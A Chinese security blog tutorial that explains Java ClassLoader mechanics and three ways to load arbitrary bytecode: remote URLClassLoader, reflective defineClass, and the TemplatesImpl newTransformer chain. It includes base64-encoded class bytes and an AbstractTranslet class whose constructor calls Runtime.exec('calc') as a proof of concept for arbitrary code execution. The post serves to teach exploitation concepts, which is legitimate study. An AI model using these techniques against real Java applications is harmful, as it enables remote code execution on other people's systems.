ClassLoader与字节码

ClassLoader与字节码

ClassLoader为类加载器,它是用来加载 Class 的。它负责将 Class 的字节码形式转换成内存形式的 Class 对象。字节码可以来自于磁盘文件 *.class,也可以是 jar 包里的 *.class,也可以来自远程服务器提供的字节流,字节码的本质就是一个字节数组 []byte,它有特定的复杂的内部格式。

img

有很多字节码加密技术就是依靠定制 ClassLoader 来实现的。先使用工具对字节码文件进行加密,运行时使用定制的 ClassLoader 先解密文件内容再加载这些解密后的字节码。

每个 Class 对象的内部都有一个 classLoader 字段来标识自己是由哪个 ClassLoader 加载的。ClassLoader 就像一个容器,里面装了很多已经加载的 Class 对象。

class Class<T> {
  ...
  private final ClassLoader classLoader;
  ...
}

本文中所说的“字节码”,可以理解的更广义一些——所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内

利用URLClassLoader 加载远程class文件

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释
URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这
些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

    前两种常用于开发环境中,而第三种出现于非 file 协议的情况下,最常见的就是 http 协议

接下来尝试一下使用HTTP协议远程加载.class文件:

package Loder;

import java.net.URL;
import java.net.URLClassLoader;

public class HelloClassLoder {
    public static void main(String[] args) throws Exception {
        URL[] urls={new URL("http://localhost:8000/")};
        URLClassLoader loder = URLClassLoader.newInstance(urls);
        Class hello = loder.loadClass("Hello");
        hello.newInstance();
    }
}

然后编译生成一个简单程序Hello.class,放到http://localhost:8000/Hello.class

package Loder;

public class Hello{
    public Hello(){
        System.out.println("Hello World!!");
    }
}

运行HelloClassLoder.java,即可成功请求到我们的 /Hello.class 文件,并执行了文件里的字节码,输出了"Hello World"。
所以,作为攻击者,如果我们能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了

利用ClassLoader#defineClass 直接加载字节码

前面说了使用URLClassLoader加载class,但不管是如何加载字节码,java都会经过以下三个阶段:

ClassLoader#loadClass ->ClassLoader#findClass ->ClassLoader#defineClass

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass

  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass

  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

所以其实真正加载类的方法是defineClass,也就是说,如果我们可以调用defineClass方法,就可以实现任意代码执行,接下来我们简单看一下defineClass的实现

package Loder;
import java.lang.reflect.Method;
import java.util.Base64;

public class DefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        hello.newInstance();
    }
}

当类初始化的时候,类的static块中的代码会执行,但是defineClass被调用时,类对象是没有被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行,我们用反射调用其构造函数,成功执行放在static中的代码

image-20221004154313186

利用TemplatesImpl 加载字节码

从defineClass的知识中得知,如果我们能够调用defineClass方法,将可以加载自定义字节码,从而执行任意命令,而TemplatesImpl中使用了defineClass方法。

static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

我们可以看到这个类从写了defineClass方法,但其作用域为default,可以被类外部调用。

我们来找一下 TransletClassLoader#defineClass()的利用链:

首先defineTransletClasses中调用了defineClass方法,但defineTransletClasses为privat类型,我们不能直接调用,继续向上找

image-20221004160020760

接着是getTransletInstance(),但他同样是private类型,继续向上

image-20221004160326462

最后我们找到了 newTransformer()方法,其为public类型,可以被外部调用

image-20221004160448091

所以我们完整的调用链为

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

我们尝试简单构造一下

package CCdemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
                "AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
                "AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
                "T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
                "dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
                "c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
                "YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
                "YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
                "Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
                "AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
                "b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
                "aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
                "YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
                "JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
                "dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
                "b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
                "ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
                "DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
                "KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
                "ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
                "ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
                "AAEAFgABABgAAAACABk=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "exec");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

其中,setFieldValue为设置属性,_bytecodes为字节码组成的数组,_name 可以是任意字符串,只要不为null即可;_tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用_tfactory.getExternalExtensionsMap() ,如果是null会出错

需要注意的是,加载的字节码中,这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

package Loder;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;

public class Exec extends AbstractTranslet {
    public Exec() throws Exception {
        super();
        Class runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = runtime.getMethod("getRuntime");
        Method exec = runtime.getMethod("exec", String.class);
        Object invoke = getRuntime.invoke(runtime);
        exec.invoke(invoke,"calc");
//这里直接使用Runtime.getRuntime().exec("calc")就行
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

参考:

java安全漫谈-phith0n

https://zhuanlan.zhihu.com/p/51374915

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值